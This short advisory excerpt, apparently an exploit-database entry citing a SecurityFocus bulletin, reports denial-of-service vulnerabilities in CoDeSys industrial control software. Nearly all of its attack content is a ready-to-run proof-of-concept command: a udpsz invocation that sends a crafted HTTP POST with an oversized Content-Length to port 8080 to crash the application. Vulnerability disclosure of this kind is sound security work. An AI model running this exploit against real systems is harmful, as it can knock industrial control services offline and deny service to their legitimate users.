source: http://www.securityfocus.com/bid/50854/info

CoDeSys is prone to multiple denial-of-service vulnerabilities.

An attacker can exploit these issues to crash the application and deny service to legitimate users. 

udpsz -T -c "POST / HTTP/1.0\r\nContent-Length: 4294967295\r\n\r\n" SERVER 8080 -1